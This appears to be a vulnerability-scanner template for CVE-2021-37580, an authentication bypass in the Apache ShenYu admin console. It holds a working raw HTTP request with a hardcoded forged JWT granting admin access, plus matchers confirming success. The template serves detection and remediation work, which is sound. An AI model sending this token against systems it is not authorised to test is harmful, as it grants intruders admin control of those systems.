Apache ShenYu Admin JWT - Authentication Bypass

id: CVE-2021-37580

info:
  name: Apache ShenYu Admin JWT - Authentication Bypass
  author: pdteam
  severity: critical
  description: Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential compromise of the entire Apache ShenYu system.
  remediation: |
    Apply the patch or upgrade to the latest version of Apache ShenYu to fix the authentication bypass vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37580
    - https://github.com/fengwenhua/CVE-2021-37580
    - https://lists.apache.org/thread/o15j25qwtpcw62k48xw1tnv48skh3zgb
    - http://www.openwall.com/lists/oss-security/2021/11/16/1
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-37580
    cwe-id: CWE-287
    epss-score: 0.40058
    epss-percentile: 0.98453
    cpe: cpe:2.3:a:apache:shenyu:2.3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: shenyu
  tags: cve2021,cve,apache,jwt,shenyu,vkev,vuln

http:
  - raw:
      - |
        GET /dashboardUser HTTP/1.1
        Host: {{Hostname}}
        X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'query success'
          - '"userName":"admin"'
          - '"code":200'
        condition: and

      - type: status
        status:
          - 200
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